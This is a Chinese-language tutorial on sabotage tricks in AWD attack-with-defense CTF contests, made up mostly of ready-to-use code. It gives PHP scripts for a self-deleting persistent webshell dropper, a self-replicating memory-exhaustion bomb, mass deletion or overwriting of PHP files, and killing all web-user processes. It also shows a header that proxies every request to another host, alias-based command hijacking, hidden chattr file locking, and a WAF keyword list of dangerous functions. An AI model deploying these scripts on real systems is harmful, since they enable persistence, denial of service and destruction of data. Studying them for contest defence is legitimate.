前几次跟大家聊聊了关于在AWD中的一些常规攻击思路和防御思路,这次来聊聊在比赛中的一些骚操作也有被称作为“搅shi”;这些骚操作不一定适用于全部比赛,具体情况应要视主办方的比赛规则以及现场的环境才行。
emmm...... PHP是世界上最好的语言!!!
让我们来看看php的特殊内置函数可以做一些什么事情呢。
● set_time_limit — 设置脚本最大执行时间;
set_time_limit ( int $seconds ) : bool
设置允许脚本运行的时间,单位为秒。如果超过了此设置,脚本返回一个致命的错误。默认值为30秒,或者是在php.ini的max_execution_time被定义的值,如果此值存在。
当此函数被调用时,set_time_limit()会从零开始重新启动超时计数器。换句话说,如果超时默认是30秒,在脚本运行了了25秒时调用 set_time_limit(20),那么,脚本在超时之前可运行总时间为45秒。
● ini_get — 获取一个配置选项的值;
ini_get ( string $varname ) : string
成功时返回配置选项的值。
● file_get_contents — 将整个文件读入一个字符串;
file_get_contents ( string $filename [, bool $use_include_path = false [, resource $context [, int $offset = -1 [, int $maxlen ]]]] ) : string
和 file() 一样,只除了 file_get_contents() 把文件读入一个字符串。将在参数 offset 所指定的位置开始读取长度为 maxlen 的内容。如果失败,file_get_contents() 将返回 FALSE。
file_get_contents() 函数是用来将文件的内容读入到一个字符串中的首选方法。如果操作系统支持还会使用内存映射技术来增强性能。
● file_put_contents — 将一个字符串写入文件;
file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] ) : int
和依次调用 fopen(),fwrite() 以及 fclose() 功能一样。
● unlink — 删除文件;
unlink ( string $filename [, resource $context ] ) : bool
删除 filename。和 Unix C 的 unlink() 函数相似。发生错误时会产生一个 E_WARNING 级别的错误。
● ignore_user_abort — 设置客户端断开连接时是否中断脚本的执行;
ignore_user_abort ([ bool $value ] ) : int
设置客户端断开连接时是否中断脚本的执行
PHP 以命令行脚本执行时,当脚本终端结束,脚本不会被立即中止,除非设置 value 为 TRUE,否则脚本输出任意字符时会被中止。
再来看看使用php还可以写出什么骚东西来。
● no_die_shell.php (不死马)
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);
//file_put_contents(__FILE__,'');
while(1){
file_put_contents('path/webshell.php','');
}
?>
这个php的脚本就是删除自己,然后在某一目录下循环生成自己的webshell。
● nuclear_bomb.php (核弹)
set_time_limit(0);
ignore_user_abort(true);
while(1){
file_put_contents(randstr().'.php',file_get_content(__FILE__));
file_get_contents("http://127.0.0.1/");
}
?>
这个脚本的功能就是常驻内存后,进入死循环。循环内是实现无效复制自身并访问web服务;执行之后的结果就是内存爆炸,php也就凉了,更加严重的话docker也有可能会凉。
● del.php (你死我活)
set_time_limit(0);
ignore_user_abort(1);
array_map('unlink', glob("some/dir/*.php"));
?>
● del_or_change.php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);
function getfiles($path){
foreach(glob($path) as $afile){
if(is_dir($afile))
getfiles($afile.'/*.php');
else
@file_put_contents($afile,"#Anything#");
//unlink($afile);
}
}
while(1){
getfiles(__DIR__);
sleep(10);
}
?>
遍历出所有的PHP文件,然后根据你自己想要改写或者删除就看你自己的咯。
如果unlink删除函数被ban掉了,那就改写。
● php_waf_and_log_to_txt.php (恶心WAF)
error_reporting(0);
define('LOG_FILENAME','log.txt');
function waf()
{
if (!function_exists('getallheaders')) {
function getallheaders() {
foreach ($_SERVER as $name => $value) {
if (substr($name, 0, 5) == 'HTTP_')
$headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value;
}
return $headers;
}
}
$get = $_GET;
$post = $_POST;
$cookie = $_COOKIE;
$header = getallheaders();
$files = $_FILES;
$ip = $_SERVER["REMOTE_ADDR"];
$method = $_SERVER['REQUEST_METHOD'];
$filepath = $_SERVER["SCRIPT_NAME"];
//rewirte shell which uploaded by others, you can do more
foreach ($_FILES as $key => $value) {
$files[$key]['content'] = file_get_contents($_FILES[$key]['tmp_name']);
file_put_contents($_FILES[$key]['tmp_name'], "virink");
}
unset($header['Accept']);//fix a bug
$input = array("Get"=>$get, "Post"=>$post, "Cookie"=>$cookie, "File"=>$files, "Header"=>$header);
//deal with
$pattern = "select|insert|update|delete|and|or|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex";
$pattern .= "|file_put_contents|fwrite|curl|system|eval|assert";
$pattern .="|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";
$pattern .="|`|dl|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec";
$vpattern = explode("|",$pattern);
$bool = false;
foreach ($input as $k => $v) {
foreach($vpattern as $value){
foreach ($v as $kk => $vv) {
if (preg_match( "/$value/i", $vv )){
$bool = true;
logging($input);
break;
}
}
if($bool) break;
}
if($bool) break;
}
}
function logging($var){
file_put_contents(LOG_FILENAME, "\r\n".time()."\r\n".print_r($var, true), FILE_APPEND);
// die() or unset($_GET) or unset($_POST) or unset($_COOKIE);
}
waf();
?>
1.重启apache
2.自建后门,以www-data 用户身份杀掉所有该用户所有进程。
while (1) {
$pid=1234;
@unlink('shell.php');
exec('kill -9 $pid');
}
?>
这个操作吧,是真的骚!!!请大家慎重使用!!!
● WEB:
无 ROOT 权限:PHP 反向代理
Egl
● 在每个php文件头上加上
$url = 'http://10.10.10.142:8803/'.$_SERVER["REQUEST_URI"];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_exec($ch);
curl_close($ch);
exit();
反向代理程序代码:
https://gitee.com/jamesren_781/codes/e9v45qa68wndrzbh3ktof
● 有 ROOT 权限:
关闭 WEB Server
SSH 端口本地转发
● ssh -C -f -N -g -L listen_port:DST_Host:DST_port user@Tunnel_Host
ssh -C -f -N -g -R listen_port:DST_Host:DST_port user@Tunnel_Host
ssh -C -f -N -g -D listen_port user@Tunnel_Host
● -C 压缩
● -g 允许外部链接
● -f 后台运行
● -N 不执行 Shell
● PWN:
在 Patch binary 的时候直接将 binary 替换端口转发的程序/脚本。
经过这波操作之后攻击者访问到的永远是别人的服务,然后就可以苟着祈祷自己永不丢分,再然后等着主办方发现后取消比赛资格。
这个就要用到alias这个命令,我们来好好唠唠alias。
先来简单的介绍一下alias命令吧!
alias(设置别名)
alias 别名=’原命令 -选项/参数’
比如说呢:
alias ll='ls -lt'
这样设置了ls -lt命令的别名是ll,在终端输入ll时,则相当于输入了ls -lt命令。
注意:在定义别名时,等号两边不能有空格,否则shell不能决定您需要做什么。仅在命令中包含空格或特殊字符时才需要引号。如果键入不带任何参数的alias 命令,将显示所有已定义的别名。
单输入alias时,显示的是所有设置好的别名。
以上这些设置呢,只作用于当次登入的操作。如果想每次登入都能使用这些命令的别名,则可以把相应的alias命令存放在 ~/.bashrc 文件中。
1.打开~/.bashrc文件,输入要设置的alias命令,保存,然后运行
2.source ~/.bashrc
3.如果这样还不行,表示没有~/.bash_profile文件或文件中没有执行~/.bashrc文件
4.可以在~/.bash_profile中加入命令 source ~/.bashrc 后保存
5.这样就可以每次登入后都可以使用设置好的命令别名。
这时候就要发挥你们聪明的脑袋瓜子了,比如说你要获取flag第一时间是不是想到使用cat命令去获取flag,那当我们将cat命令设置成ifconfig命令时,那么别人使用cat flag时,真实命令是ifconfig flag,那么就会一直报错了。
也可以多套几个别名,然后想一下除了cat、vi、vim等一些常规命令还有其他什么命令来获取flag,都可以使用别名来混淆对手。
Chatter(针对文件或文件夹)
Chatter:锁定文件,不能删除,不能更改
+a: 只能给文件添加内容,但是删除不了,
chattr +a /etc/passwd
-d: 不可删除
加锁:chattr +i /etc/passwd 文件不能删除,不能更改,不能移动
查看加锁:lsattr /etc/passwd 文件加了一个参数 i 表示锁定
解锁:chattr -i /home/omd/h.txt - 表示解除
我们这样子操作人家也有机会将文件或者文件夹解锁,那么我们就要想办法让别人操作不了,那就隐藏Chattr这个命令。
隐藏chattr命令:
1.which chattr
2.mv /usr/bin/chattr /opt/ftl/
3.cd /opt/ftl/
4.mv chattr h -->更改命令,使用别名h隐藏身份
5./opt/ftl/h +i /home/omd/h.txt -->利用h 行驶chattr命令
6.lsattr /home/omd/h.txt -->查看加密信息
恢复隐藏命令:
1.mv h /usr/bin/chattr
2.chattr -i /home/omd/h.txt
3. lsattr /home/omd/h.txt
除了综上这些搅shi的方法,还有其他更骚的操作,就看大家能不能放开思维了。例如,拿到shell之后直接删站的;也有内存里写个脚本循环结束apache的;也有那种默默帮忙补上漏洞,不让其他人拿分的,然后自己默默一直刷这个队伍的分的;还有换flag的,或者是弄了个假的flag文件;也有捎带着放种子的,嘿嘿嘿;还有上传flag.exe的。赛场上真的是多姿多彩。重点是要放开我们的思维,从各种方面各种角度来实现我们想要达到的成果。毕竟赛场上的环境都是不一样,以上的一些骚操作不一定都适用。
CTF是个增长技艺的比赛,让我们见识见识各位大佬的高超操作以及黑科技,举办比赛不易,一定程度的搅shi也能增加比赛的一些趣味性,搅屎以及防搅shi何尝不是另外一种攻防的形式呢。
参考资料:
https://www.jianshu.com/p/4b5b8810421d
https://www.virzz.com/2017/05/25/how_to_fuck_the_ctf.html